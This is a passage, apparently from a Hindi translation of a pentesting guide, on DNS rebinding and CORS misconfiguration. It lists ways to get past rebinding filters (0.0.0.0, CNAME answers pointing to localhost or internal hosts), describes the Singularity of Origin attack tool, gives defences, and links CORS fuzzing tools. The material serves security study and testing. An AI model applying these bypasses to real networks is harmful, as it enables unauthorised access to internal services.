• यदि आंतरिक IPs की अनुमति नहीं है, तो वे 0.0.0.0 को प्रतिबंधित करना भूल सकते हैं (Linux और Mac पर काम करता है)
• यदि आंतरिक IPs की अनुमति नहीं है, तो localhost के लिए एक CNAME के साथ उत्तर दें (Linux और Mac पर काम करता है)
• यदि आंतरिक IPs को DNS प्रतिक्रियाओं के रूप में अनुमति नहीं है, तो आप आंतरिक सेवाओं के लिए CNAMEs के साथ उत्तर दे सकते हैं जैसे www.corporate.internal।

DNS Rebidding Weaponized

आप पिछले बायपास तकनीकों के बारे में अधिक जानकारी और निम्नलिखित उपकरण का उपयोग कैसे करें, इस पर बात कर सकते हैं Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference में।

Singularity of Origin एक उपकरण है जो DNS रीबाइंडिंग हमलों को करने के लिए है। इसमें हमलावर सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते पर रीबाइंड करने और लक्षित मशीन पर कमजोर सॉफ़्टवेयर का शोषण करने के लिए हमलावर पेलोड प्रदान करने के लिए आवश्यक घटक शामिल हैं।

Real Protection against DNS Rebinding

• आंतरिक सेवाओं में TLS का उपयोग करें
• डेटा तक पहुँचने के लिए प्रमाणीकरण का अनुरोध करें
• Host हेडर को मान्य करें
• https://wicg.github.io/private-network-access/: प्रस्ताव जब सार्वजनिक सर्वर आंतरिक सर्वरों तक पहुँच प्राप्त करना चाहते हैं तो हमेशा एक प्री-फ्लाइट अनुरोध भेजने के लिए

Tools

CORS नीतियों में संभावित गलत कॉन्फ़िगरेशन को फज़ करें

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe
• https://github.com/omranisecurity/CorsOne

References

• https://portswigger.net/web-security/cors
• https://portswigger.net/web-security/cors/access-control-allow-origin
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
• https://www.codecademy.com/articles/what-is-cors
• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b